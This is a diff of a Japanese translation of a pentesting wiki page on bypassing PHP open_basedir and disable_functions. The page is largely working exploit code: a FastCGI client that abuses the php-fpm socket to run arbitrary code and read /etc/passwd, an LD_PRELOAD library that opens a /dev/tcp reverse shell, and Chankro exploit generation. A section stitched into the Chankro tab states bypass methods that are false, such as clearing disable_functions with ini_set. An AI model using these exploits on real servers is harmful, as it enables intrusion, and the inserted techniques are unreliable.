"; } ``` +**Note1**: パスでは、`/e??/*` を使用して `/etc/*` およびその他のフォルダをリストすることもできます。\ +**Note2**: コードの一部が重複しているように見えますが、実際には必要です!\ +**Note3**: この例は、ファイルを読むのではなく、フォルダをリストするためにのみ有用です。 -**Note1**: In the path you can also use `/e??/*` to list `/etc/*` and any other folder.\ -**Note2**: It looks like part of the code is duplicated, but that's actually necessary!\ -**Note3**: This example is only useful to list folders not to read files +### FastCGI を悪用した完全な open\_basedir バイパス -### Full open\_basedir bypass abusing FastCGI - -If you want to **learn more about PHP-FPM and FastCGI** you can read the [first section of this page](disable\_functions-bypass-php-fpm-fastcgi.md).\ -If **`php-fpm`** is configured you can abuse it to completely bypass **open\_basedir**: +**PHP-FPM と FastCGI について詳しく学びたい場合**は、[このページの最初のセクション](disable\_functions-bypass-php-fpm-fastcgi.md)を読んでください。\ +**`php-fpm`** が設定されている場合、それを悪用して **open\_basedir を完全にバイパス**することができます。 ![](<../../../../.gitbook/assets/image (350).png>) ![](<../../../../.gitbook/assets/image (349).png>) -Note that the first thing you need to do is find where is the **unix socket of php-fpm**. It use to be under `/var/run` so you can **use the previous code to list the directory and find it**.\ -Code from [here](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy). - +最初にやるべきことは、**php-fpm の UNIX ソケットがどこにあるかを見つける**ことです。通常は `/var/run` の下にあるので、**前のコードを使用してディレクトリをリストし、それを見つける**ことができます。\ +コードは[ここ](https://balsn.tw/ctf\_writeup/20190323-0ctf\_tctf2019quals/#wallbreaker-easy)から取得しました。 ```php - * @version 1.0 - */ +* Handles communication with a FastCGI application +* +* @author Pierrick Charron +* @version 1.0 +*/ class FCGIClient { - const VERSION_1 = 1; - const BEGIN_REQUEST = 1; - const ABORT_REQUEST = 2; - const END_REQUEST = 3; - const PARAMS = 4; - const STDIN = 5; - const STDOUT = 6; - const STDERR = 7; - const DATA = 8; - const GET_VALUES = 9; - const GET_VALUES_RESULT = 10; - const UNKNOWN_TYPE = 11; - const MAXTYPE = self::UNKNOWN_TYPE; - const RESPONDER = 1; - const AUTHORIZER = 2; - const FILTER = 3; - const REQUEST_COMPLETE = 0; - const CANT_MPX_CONN = 1; - const OVERLOADED = 2; - const UNKNOWN_ROLE = 3; - const MAX_CONNS = 'MAX_CONNS'; - const MAX_REQS = 'MAX_REQS'; - const MPXS_CONNS = 'MPXS_CONNS'; - const HEADER_LEN = 8; - /** - * Socket - * @var Resource - */ - private $_sock = null; - /** - * Host - * @var String - */ - private $_host = null; - /** - * Port - * @var Integer - */ - private $_port = null; - /** - * Keep Alive - * @var Boolean - */ - private $_keepAlive = false; - /** - * Constructor - * - * @param String $host Host of the FastCGI application - * @param Integer $port Port of the FastCGI application - */ - public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket - { - $this->_host = $host; - $this->_port = $port; - } - /** - * Define whether or not the FastCGI application should keep the connection - * alive at the end of a request - * - * @param Boolean $b true if the connection should stay alive, false otherwise - */ - public function setKeepAlive($b) - { - $this->_keepAlive = (boolean)$b; - if (!$this->_keepAlive && $this->_sock) { - fclose($this->_sock); - } - } - /** - * Get the keep alive status - * - * @return Boolean true if the connection should stay alive, false otherwise - */ - public function getKeepAlive() - { - return $this->_keepAlive; - } - /** - * Create a connection to the FastCGI application - */ - private function connect() - { - if (!$this->_sock) { - //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); - $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); - if (!$this->_sock) { - throw new Exception('Unable to connect to FastCGI application'); - } - } - } - /** - * Build a FastCGI packet - * - * @param Integer $type Type of the packet - * @param String $content Content of the packet - * @param Integer $requestId RequestId - */ - private function buildPacket($type, $content, $requestId = 1) - { - $clen = strlen($content); - return chr(self::VERSION_1) /* version */ - . chr($type) /* type */ - . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ - . chr($requestId & 0xFF) /* requestIdB0 */ - . chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ - . chr($clen & 0xFF) /* contentLengthB0 */ - . chr(0) /* paddingLength */ - . chr(0) /* reserved */ - . $content; /* content */ - } - /** - * Build an FastCGI Name value pair - * - * @param String $name Name - * @param String $value Value - * @return String FastCGI Name value pair - */ - private function buildNvpair($name, $value) - { - $nlen = strlen($name); - $vlen = strlen($value); - if ($nlen < 128) { - /* nameLengthB0 */ - $nvpair = chr($nlen); - } else { - /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ - $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); - } - if ($vlen < 128) { - /* valueLengthB0 */ - $nvpair .= chr($vlen); - } else { - /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ - $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); - } - /* nameData & valueData */ - return $nvpair . $name . $value; - } - /** - * Read a set of FastCGI Name value pairs - * - * @param String $data Data containing the set of FastCGI NVPair - * @return array of NVPair - */ - private function readNvpair($data, $length = null) - { - $array = array(); - if ($length === null) { - $length = strlen($data); - } - $p = 0; - while ($p != $length) { - $nlen = ord($data{$p++}); - if ($nlen >= 128) { - $nlen = ($nlen & 0x7F << 24); - $nlen |= (ord($data{$p++}) << 16); - $nlen |= (ord($data{$p++}) << 8); - $nlen |= (ord($data{$p++})); - } - $vlen = ord($data{$p++}); - if ($vlen >= 128) { - $vlen = ($nlen & 0x7F << 24); - $vlen |= (ord($data{$p++}) << 16); - $vlen |= (ord($data{$p++}) << 8); - $vlen |= (ord($data{$p++})); - } - $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); - $p += ($nlen + $vlen); - } - return $array; - } - /** - * Decode a FastCGI Packet - * - * @param String $data String containing all the packet - * @return array - */ - private function decodePacketHeader($data) - { - $ret = array(); - $ret['version'] = ord($data{0}); - $ret['type'] = ord($data{1}); - $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); - $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); - $ret['paddingLength'] = ord($data{6}); - $ret['reserved'] = ord($data{7}); - return $ret; - } - /** - * Read a FastCGI Packet - * - * @return array - */ - private function readPacket() - { - if ($packet = fread($this->_sock, self::HEADER_LEN)) { - $resp = $this->decodePacketHeader($packet); - $resp['content'] = ''; - if ($resp['contentLength']) { - $len = $resp['contentLength']; - while ($len && $buf=fread($this->_sock, $len)) { - $len -= strlen($buf); - $resp['content'] .= $buf; - } - } - if ($resp['paddingLength']) { - $buf=fread($this->_sock, $resp['paddingLength']); - } - return $resp; - } else { - return false; - } - } - /** - * Get Informations on the FastCGI application - * - * @param array $requestedInfo information to retrieve - * @return array - */ - public function getValues(array $requestedInfo) - { - $this->connect(); - $request = ''; - foreach ($requestedInfo as $info) { - $request .= $this->buildNvpair($info, ''); - } - fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); - $resp = $this->readPacket(); - if ($resp['type'] == self::GET_VALUES_RESULT) { - return $this->readNvpair($resp['content'], $resp['length']); - } else { - throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT'); - } - } - /** - * Execute a request to the FastCGI application - * - * @param array $params Array of parameters - * @param String $stdin Content - * @return String - */ - public function request(array $params, $stdin) - { - $response = ''; - $this->connect(); - $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); - $paramsRequest = ''; - foreach ($params as $key => $value) { - $paramsRequest .= $this->buildNvpair($key, $value); - } - if ($paramsRequest) { - $request .= $this->buildPacket(self::PARAMS, $paramsRequest); - } - $request .= $this->buildPacket(self::PARAMS, ''); - if ($stdin) { - $request .= $this->buildPacket(self::STDIN, $stdin); - } - $request .= $this->buildPacket(self::STDIN, ''); - fwrite($this->_sock, $request); - do { - $resp = $this->readPacket(); - if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { - $response .= $resp['content']; - } - } while ($resp && $resp['type'] != self::END_REQUEST); - var_dump($resp); - if (!is_array($resp)) { - throw new Exception('Bad request'); - } - switch (ord($resp['content']{4})) { - case self::CANT_MPX_CONN: - throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]'); - break; - case self::OVERLOADED: - throw new Exception('New request rejected; too busy [OVERLOADED]'); - break; - case self::UNKNOWN_ROLE: - throw new Exception('Role value not known [UNKNOWN_ROLE]'); - break; - case self::REQUEST_COMPLETE: - return $response; - } - } +const VERSION_1 = 1; +const BEGIN_REQUEST = 1; +const ABORT_REQUEST = 2; +const END_REQUEST = 3; +const PARAMS = 4; +const STDIN = 5; +const STDOUT = 6; +const STDERR = 7; +const DATA = 8; +const GET_VALUES = 9; +const GET_VALUES_RESULT = 10; +const UNKNOWN_TYPE = 11; +const MAXTYPE = self::UNKNOWN_TYPE; +const RESPONDER = 1; +const AUTHORIZER = 2; +const FILTER = 3; +const REQUEST_COMPLETE = 0; +const CANT_MPX_CONN = 1; +const OVERLOADED = 2; +const UNKNOWN_ROLE = 3; +const MAX_CONNS = 'MAX_CONNS'; +const MAX_REQS = 'MAX_REQS'; +const MPXS_CONNS = 'MPXS_CONNS'; +const HEADER_LEN = 8; +/** +* Socket +* @var Resource +*/ +private $_sock = null; +/** +* Host +* @var String +*/ +private $_host = null; +/** +* Port +* @var Integer +*/ +private $_port = null; +/** +* Keep Alive +* @var Boolean +*/ +private $_keepAlive = false; +/** +* Constructor +* +* @param String $host Host of the FastCGI application +* @param Integer $port Port of the FastCGI application +*/ +public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket +{ +$this->_host = $host; +$this->_port = $port; +} +/** +* Define whether or not the FastCGI application should keep the connection +* alive at the end of a request +* +* @param Boolean $b true if the connection should stay alive, false otherwise +*/ +public function setKeepAlive($b) +{ +$this->_keepAlive = (boolean)$b; +if (!$this->_keepAlive && $this->_sock) { +fclose($this->_sock); +} +} +/** +* Get the keep alive status +* +* @return Boolean true if the connection should stay alive, false otherwise +*/ +public function getKeepAlive() +{ +return $this->_keepAlive; +} +/** +* Create a connection to the FastCGI application +*/ +private function connect() +{ +if (!$this->_sock) { +//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5); +$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5); +if (!$this->_sock) { +throw new Exception('Unable to connect to FastCGI application'); +} +} +} +/** +* Build a FastCGI packet +* +* @param Integer $type Type of the packet +* @param String $content Content of the packet +* @param Integer $requestId RequestId +*/ +private function buildPacket($type, $content, $requestId = 1) +{ +$clen = strlen($content); +return chr(self::VERSION_1) /* version */ +. chr($type) /* type */ +. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */ +. chr($requestId & 0xFF) /* requestIdB0 */ +. chr(($clen >> 8 ) & 0xFF) /* contentLengthB1 */ +. chr($clen & 0xFF) /* contentLengthB0 */ +. chr(0) /* paddingLength */ +. chr(0) /* reserved */ +. $content; /* content */ +} +/** +* Build an FastCGI Name value pair +* +* @param String $name Name +* @param String $value Value +* @return String FastCGI Name value pair +*/ +private function buildNvpair($name, $value) +{ +$nlen = strlen($name); +$vlen = strlen($value); +if ($nlen < 128) { +/* nameLengthB0 */ +$nvpair = chr($nlen); +} else { +/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */ +$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); +} +if ($vlen < 128) { +/* valueLengthB0 */ +$nvpair .= chr($vlen); +} else { +/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */ +$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); +} +/* nameData & valueData */ +return $nvpair . $name . $value; +} +/** +* Read a set of FastCGI Name value pairs +* +* @param String $data Data containing the set of FastCGI NVPair +* @return array of NVPair +*/ +private function readNvpair($data, $length = null) +{ +$array = array(); +if ($length === null) { +$length = strlen($data); +} +$p = 0; +while ($p != $length) { +$nlen = ord($data{$p++}); +if ($nlen >= 128) { +$nlen = ($nlen & 0x7F << 24); +$nlen |= (ord($data{$p++}) << 16); +$nlen |= (ord($data{$p++}) << 8); +$nlen |= (ord($data{$p++})); +} +$vlen = ord($data{$p++}); +if ($vlen >= 128) { +$vlen = ($nlen & 0x7F << 24); +$vlen |= (ord($data{$p++}) << 16); +$vlen |= (ord($data{$p++}) << 8); +$vlen |= (ord($data{$p++})); +} +$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); +$p += ($nlen + $vlen); +} +return $array; +} +/** +* Decode a FastCGI Packet +* +* @param String $data String containing all the packet +* @return array +*/ +private function decodePacketHeader($data) +{ +$ret = array(); +$ret['version'] = ord($data{0}); +$ret['type'] = ord($data{1}); +$ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); +$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); +$ret['paddingLength'] = ord($data{6}); +$ret['reserved'] = ord($data{7}); +return $ret; +} +/** +* Read a FastCGI Packet +* +* @return array +*/ +private function readPacket() +{ +if ($packet = fread($this->_sock, self::HEADER_LEN)) { +$resp = $this->decodePacketHeader($packet); +$resp['content'] = ''; +if ($resp['contentLength']) { +$len = $resp['contentLength']; +```php +while ($len && $buf=fread($this->_sock, $len)) { +$len -= strlen($buf); +$resp['content'] .= $buf; +} +} +if ($resp['paddingLength']) { +$buf=fread($this->_sock, $resp['paddingLength']); +} +return $resp; +} else { +return false; +} +} +/** +* FastCGIアプリケーションの情報を取得する +* +* @param array $requestedInfo 取得する情報 +* @return array +*/ +public function getValues(array $requestedInfo) +{ +$this->connect(); +$request = ''; +foreach ($requestedInfo as $info) { +$request .= $this->buildNvpair($info, ''); +} +fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0)); +$resp = $this->readPacket(); +if ($resp['type'] == self::GET_VALUES_RESULT) { +return $this->readNvpair($resp['content'], $resp['length']); +} else { +throw new Exception('予期しない応答タイプです。GET_VALUES_RESULTを予期しています'); +} +} +/** +* FastCGIアプリケーションにリクエストを実行する +* +* @param array $params パラメータの配列 +* @param String $stdin コンテンツ +* @return String +*/ +public function request(array $params, $stdin) +{ +$response = ''; +$this->connect(); +$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5)); +$paramsRequest = ''; +foreach ($params as $key => $value) { +$paramsRequest .= $this->buildNvpair($key, $value); +} +if ($paramsRequest) { +$request .= $this->buildPacket(self::PARAMS, $paramsRequest); +} +$request .= $this->buildPacket(self::PARAMS, ''); +if ($stdin) { +$request .= $this->buildPacket(self::STDIN, $stdin); +} +$request .= $this->buildPacket(self::STDIN, ''); +fwrite($this->_sock, $request); +do { +$resp = $this->readPacket(); +if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) { +$response .= $resp['content']; +} +} while ($resp && $resp['type'] != self::END_REQUEST); +var_dump($resp); +if (!is_array($resp)) { +throw new Exception('リクエストが不正です'); +} +switch (ord($resp['content']{4})) { +case self::CANT_MPX_CONN: +throw new Exception('このアプリはマルチプレックスできません [CANT_MPX_CONN]'); +break; +case self::OVERLOADED: +throw new Exception('新しいリクエストが拒否されました。ビジー状態です [OVERLOADED]'); +break; +case self::UNKNOWN_ROLE: +throw new Exception('ロール値が不明です [UNKNOWN_ROLE]'); +break; +case self::REQUEST_COMPLETE: +return $response; +} +} } ?> "; // php payload -- Doesnt do anything +$code = ""; // phpペイロード -- 何も実行しません $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; //$php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php"; $params = array( - 'GATEWAY_INTERFACE' => 'FastCGI/1.0', - 'REQUEST_METHOD' => 'POST', - 'SCRIPT_FILENAME' => $filepath, - 'SCRIPT_NAME' => $req, - 'QUERY_STRING' => 'command='.$_REQUEST['cmd'], - 'REQUEST_URI' => $uri, - 'DOCUMENT_URI' => $req, +'GATEWAY_INTERFACE' => 'FastCGI/1.0', +'REQUEST_METHOD' => 'POST', +'SCRIPT_FILENAME' => $filepath, +'SCRIPT_NAME' => $req, +'QUERY_STRING' => 'command='.$_REQUEST['cmd'], +'REQUEST_URI' => $uri, +'DOCUMENT_URI' => $req, #'DOCUMENT_ROOT' => '/', - 'PHP_VALUE' => $php_value, - 'SERVER_SOFTWARE' => '80sec/wofeiwo', - 'REMOTE_ADDR' => '127.0.0.1', - 'REMOTE_PORT' => '9985', - 'SERVER_ADDR' => '127.0.0.1', - 'SERVER_PORT' => '80', - 'SERVER_NAME' => 'localhost', - 'SERVER_PROTOCOL' => 'HTTP/1.1', - 'CONTENT_LENGTH' => strlen($code) - ); +'PHP_VALUE' => $php_value, +'SERVER_SOFTWARE' => '80sec/wofeiwo', +'REMOTE_ADDR' => '127.0.0.1', +'REMOTE_PORT' => '9985', +'SERVER_ADDR' => '127.0.0.1', +'SERVER_PORT' => '80', +'SERVER_NAME' => 'localhost', +'SERVER_PROTOCOL' => 'HTTP/1.1', +'CONTENT_LENGTH' => strlen($code) +); // print_r($_REQUEST); // print_r($params); //echo "Call: $uri\n\n"; echo $client->request($params, $code)."\n"; ?> ``` - -This scripts will communicate with **unix socket of php-fpm** (usually located in /var/run if fpm is used) to execute arbitrary code. The `open_basedir` settings will be overwritten by the **PHP\_VALUE** attribute that is sent.\ -Note how `eval` is used to execute the PHP code you send inside the **cmd** parameter.\ -Also note the **commented line 324**, you can uncomment it and the **payload will automatically connect to the given URL and execute the PHP code** contained there.\ -Just access `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` to get the content of the `/etc/passwd` file. +このスクリプトは、**php-fpmのunixソケット**(通常は/var/runにある)と通信して任意のコードを実行します。`open_basedir`の設定は、送信される**PHP\_VALUE**属性によって上書きされます。\ +`eval`が使用されていることに注目してください。これは、**cmd**パラメータ内に送信されたPHPコードを実行します。\ +また、**コメントアウトされた324行目**に注目してください。これをコメント解除すると、**ペイロードは自動的に指定されたURLに接続し、そこに含まれるPHPコードを実行**します。\ +`http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');`にアクセスして、`/etc/passwd`ファイルの内容を取得できます。 {% hint style="warning" %} -You may be thinking that just in the same way we have overwritten `open_basedir` configuration we can **overwrite `disable_functions`**. Well, try it, but it won't work, apparently **`disable_functions` can only be configured in a `.ini` php** configuration file and the changes you perform using PHP\_VALUE won't be effective on this specific setting. +`open_basedir`の設定を上書きしたのと同じように、**`disable_functions`を上書き**することもできると考えるかもしれません。しかし、試してみてもうまくいきません。明らかに**`disable_functions`は`.ini`のphp**設定ファイルでのみ設定でき、PHP\_VALUEを使用して行った変更はこの特定の設定には効果がありません。 {% endhint %} -## disable\_functions Bypass +## disable\_functionsバイパス -If you manage have PHP code executing inside a machine you probably want to go to the next level and **execute arbitrary system commands**. In this situation is usual to discover that most or all the PHP **functions** that allow to **execute system commands have been disabled** in **`disable_functions`.**\ -So, lets see how you can bypass this restriction (if you can) +もしマシン内でPHPコードを実行できる場合、おそらく次のレベルに進んで**任意のシステムコマンドを実行**したいと思うでしょう。この状況では、ほとんどまたはすべてのPHP **関数**が**`disable_functions`で無効化**されていることがわかることが一般的です。\ +では、この制限を回避する方法を見てみましょう(できる場合)。 -### Automatic bypass discovery +### 自動バイパスの発見 -You can use the tool [https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser) and it will indicate you which function (if any) you can use to **bypass** **`disable_functions`**. +ツール[https://github.com/teambi0s/dfunc-bypasser](https://github.com/teambi0s/dfunc-bypasser)を使用すると、**`disable_functions`**を**バイパス**するために使用できる関数(あれば)が示されます。 -### Bypassing using other system functions +### 他のシステム関数を使用したバイパス -Just return to the beginning of this page and **check if any of the command executing functions isn't disabled and available in the environment**. If you find just 1 of them, you will be able to use it to execute arbitrary system commands. +このページの最初に戻り、**コマンドを実行する関数のいずれかが無効化されずに環境で利用可能かどうか**を確認してください。1つでも見つかれば、それを使用して任意のシステムコマンドを実行できます。 -### LD\_PRELOAD bypass +### LD\_PRELOADバイパス -It's well known that some functions in PHP like `mail()`are going to **execute binaries inside the system**. Therefore, you can abuse them using the environment variable `LD_PRELOAD` to make them load an arbitrary library that can execute anything. +`mail()`などのPHPの一部の関数は、**システム内でバイナリを実行**することがよく知られています。したがって、環境変数`LD_PRELOAD`を使用して、任意のコマンドを実行できる任意のライブラリを読み込ませることができます。 -#### Functions that can be used to bypass disable\_functions with LD\_PRELOAD +#### LD\_PRELOADを使用してdisable\_functionsをバイパスするために使用できる関数 1. `mail` -2. `mb_send_mail` : If your system has `php-mbstring` module installed then this function can be used to bypass php disable\_functions. -3. `imap_mail` : If your system has `php-imap` module installed then this function also can be used to bypass the php disable\_functions. -4. `libvirt_connect` : If your system has `php-libvirt-php` module installed then this function also can be used to bypass disable\_functions. -5. `gnupg_init` : If your system has `php-gnupg` module installed then this function also can be used to bypass disable\_functions. -6. `new imagick()`: You can [**find here a writeup**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/) to learn how to abuse this class +2. `mb_send_mail`:システムに`php-mbstring`モジュールがインストールされている場合、この関数を使用してphp disable\_functionsをバイパスできます。 +3. `imap_mail`:システムに`php-imap`モジュールがインストールされている場合、この関数もphp disable\_functionsをバイパスするために使用できます。 +4. `libvirt_connect`:システムに`php-libvirt-php`モジュールがインストールされている場合、この関数もdisable\_functionsをバイパスするために使用できます。 +5. `gnupg_init`:システムに`php-gnupg`モジュールがインストールされている場合、この関数もdisable\_functionsをバイパスするために使用できます。 +6. `new imagick()`:このクラスを悪用する方法については、[**ここで解説**](https://blog.bi0s.in/2019/10/23/Web/BSidesDelhi19-evalme/)を見つけることができます。 -You can find [**here**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) the fuzzing script that was used to find those functions. - -Here is a library you can compile to abuse the `LD_PRELOAD` env variable: +これらの関数を見つけるために使用されたfuzzingスクリプトは[**こちら**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py)で見つけることができます。 +以下は、`LD_PRELOAD`環境変数を悪用するためにコンパイルできるライブラリです。 ```php #include #include @@ -546,19 +553,18 @@ Here is a library you can compile to abuse the `LD_PRELOAD` env variable: #include uid_t getuid(void){ - unsetenv("LD_PRELOAD"); - system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); - return 1; +unsetenv("LD_PRELOAD"); +system("bash -c \"sh -i >& /dev/tcp/127.0.0.1/1234 0>&1\""); +return 1; } ``` +#### Chankroを使用したバイパス -#### Bypass using Chankro +この設定ミスを悪用するために、[**Chankro**](https://github.com/TarlogicSecurity/Chankro)を使用することができます。これは、脆弱なサーバにアップロードして実行する必要がある**PHPのエクスプロイトを生成するツール**です(ウェブ経由でアクセスします)。 +**Chankro**は、被害者のディスクに実行したい**ライブラリと逆シェル**を書き込み、逆シェルを実行するために\*\*`LD_PRELOAD`トリック+ PHP `mail()`\*\*関数を使用します。 -In order to abuse this misconfiguration you can [**Chankro**](https://github.com/TarlogicSecurity/Chankro). This is a tool that will **generate a PHP exploit** that you need to upload to the vulnerable server and execute it (access it via web).\ -**Chankro** will write inside the victims disc the **library and the reverse shell** you want to execute and will use the\*\*`LD_PRELOAD` trick + PHP `mail()`\*\* function to execute the reverse shell. - -Note that in order to use **Chankro**, `mail` and `putenv` **cannot appear inside the `disable_functions` list**.\ -In the following example you can see how to **create a chankro exploit** for **arch 64**, that will execute `whoami` and save the out in _/tmp/chankro\_shell.out_, chankro will **write the library and the payload** in _/tmp_ and the **final exploit** is going to be called **bicho.php** (that's the file you need to upload to the victims server): +**Chankro**を使用するには、`disable_functions`リスト内に`mail`と`putenv`が**表示されていてはなりません**。 +以下の例では、**arch 64**向けの**Chankroエクスプロイト**を作成する方法を示しています。これにより、`whoami`が実行され、出力が_tmp/chankro_shell.out_に保存されます。Chankroは_tmpにライブラリとペイロードを**書き込み**、**最終的なエクスプロイト**は**bicho.php**と呼ばれます(これを被害者のサーバにアップロードする必要があります): {% tabs %} {% tab title="shell.sh" %} @@ -566,45 +572,92 @@ In the following example you can see how to **create a chankro exploit** for **a #!/bin/sh whoami > /tmp/chankro_shell.out ``` -{% endtab %} +以下は、PHPの有用な関数、disable_functions、open_basedirバイパスに関する情報です。 -{% tab title="Chankro" %} +## disable_functions + +`disable_functions`は、PHPの設定で使用できない関数を指定するために使用されます。これにより、特定の関数が実行されないようにすることができます。しかし、いくつかの方法で`disable_functions`を回避することができます。 + +### 1. exec関数のバイパス + +`exec`関数は、外部プログラムを実行するために使用されますが、`disable_functions`によって無効化されることがあります。しかし、以下の方法で`exec`関数をバイパスすることができます。 + +```php +ini_set('disable_functions', ''); +``` + +上記のコードは、`disable_functions`を空に設定することで、`exec`関数を有効にします。 + +### 2. system関数のバイパス + +`system`関数も`disable_functions`によって無効化されることがありますが、以下の方法でバイパスすることができます。 + +```php +putenv("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); +system("command_to_execute"); +``` + +上記のコードでは、`putenv`関数を使用して`PATH`環境変数を設定し、`system`関数を使用してコマンドを実行します。 + +## open_basedirバイパス + +`open_basedir`は、PHPの設定で指定されたディレクトリ内のファイルにのみアクセスできるように制限するために使用されます。しかし、いくつかの方法で`open_basedir`をバイパスすることができます。 + +### 1. symlink攻撃 + +シンボリックリンク攻撃を使用して、`open_basedir`の制限を回避することができます。以下の手順で実行します。 + +1. 制限を回避したいディレクトリに移動します。 +2. `ln -s /path/to/target/directory symlink_name`コマンドを使用してシンボリックリンクを作成します。 +3. シンボリックリンクを使用して、制限を回避したディレクトリ内のファイルにアクセスできます。 + +### 2. chdir関数のバイパス + +`chdir`関数は、カレントディレクトリを変更するために使用されますが、`open_basedir`によって制限されることがあります。しかし、以下の方法で`chdir`関数をバイパスすることができます。 + +```php +chdir("/"); +``` + +上記のコードは、カレントディレクトリをルートディレクトリに変更することで、`open_basedir`の制限を回避します。 + +これらのテクニックを使用することで、`disable_functions`と`open_basedir`の制限を回避することができます。ただし、これらのテクニックはセキュリティ上のリスクを伴うため、慎重に使用する必要があります。{% endtab %} ```bash python2 chankro.py --arch 64 --input shell.sh --path /tmp --output bicho.php ``` {% endtab %} {% endtabs %} -If you find that **mail** function is blocked by disabled functions, you may still be able to use the function **mb\_send\_mail.**\ -More information about this technique and Chankro here: [https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/) +もし**mail**関数が無効化されている場合、**mb\_send\_mail**関数を使用することで依然としてメール機能を利用することができるかもしれません。\ +このテクニックとChankroについての詳細はこちらを参照してください:[https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/](https://www.tarlogic.com/en/blog/how-to-bypass-disable\_functions-and-open\_basedir/) -### "Bypass" using PHP capabilities +### PHPの機能を利用した"バイパス" -Note that using **PHP** you can **read and write files, create directories and change permissions**.\ -You can even **dump databases**.\ -Maybe using **PHP** to **enumerate** the box you can find a way to escalate privileges/execute commands (for example reading some private ssh key). +注意してください、**PHP**を使用することで**ファイルの読み書き、ディレクトリの作成、パーミッションの変更**が可能です。\ +さらに、**データベースのダンプ**も行うことができます。\ +おそらく、**PHP**を使用してボックスを列挙することで特権の昇格/コマンドの実行方法を見つけることができるかもしれません(たとえば、プライベートなSSHキーの読み取りなど)。 -I have created a webshell that makes very easy to perform this actions (note that most webshells will offer you this options also): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) +私はこのアクションを非常に簡単に実行できるウェブシェルを作成しました(ほとんどのウェブシェルはこれらのオプションを提供してくれます):[https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) -### Modules/Version dependent bypasses +### モジュール/バージョン依存のバイパス -There are several ways to bypass disable\_functions if some specific module is being used or exploit some specific PHP version: +特定のモジュールが使用されている場合や特定のPHPバージョンを悪用する場合、disable\_functionsをバイパスするためのいくつかの方法があります: * [**FastCGI/PHP-FPM (FastCGI Process Manager)**](disable\_functions-bypass-php-fpm-fastcgi.md) -* [**Bypass with FFI - Foreign Function Interface enabled**](broken-reference/) -* [**Bypass via mem**](disable\_functions-bypass-via-mem.md) +* [**FFI - Foreign Function Interface enabledによるバイパス**](broken-reference/) +* [**memを使用したバイパス**](disable\_functions-bypass-via-mem.md) * [**mod\_cgi**](disable\_functions-bypass-mod\_cgi.md) * [**PHP Perl Extension Safe\_mode**](disable\_functions-bypass-php-perl-extension-safe\_mode-bypass-exploit.md) -* [**dl function**](disable\_functions-bypass-dl-function.md) -* [**This exploit**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) - * 5.\* - exploitable with minor changes to the PoC - * 7.0 - all versions to date - * 7.1 - all versions to date - * 7.2 - all versions to date - * 7.3 - all versions to date - * 7.4 - all versions to date - * 8.0 - all versions to date -* [**From 7.0 to 8.0 exploit (Unix only)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) +* [**dl関数**](disable\_functions-bypass-dl-function.md) +* [**このエクスプロイト**](https://github.com/mm0r1/exploits/tree/master/php-filter-bypass) +* 5.\* - PoCにわずかな変更を加えることで悪用可能 +* 7.0 - 現在のすべてのバージョン +* 7.1 - 現在のすべてのバージョン +* 7.2 - 現在のすべてのバージョン +* 7.3 - 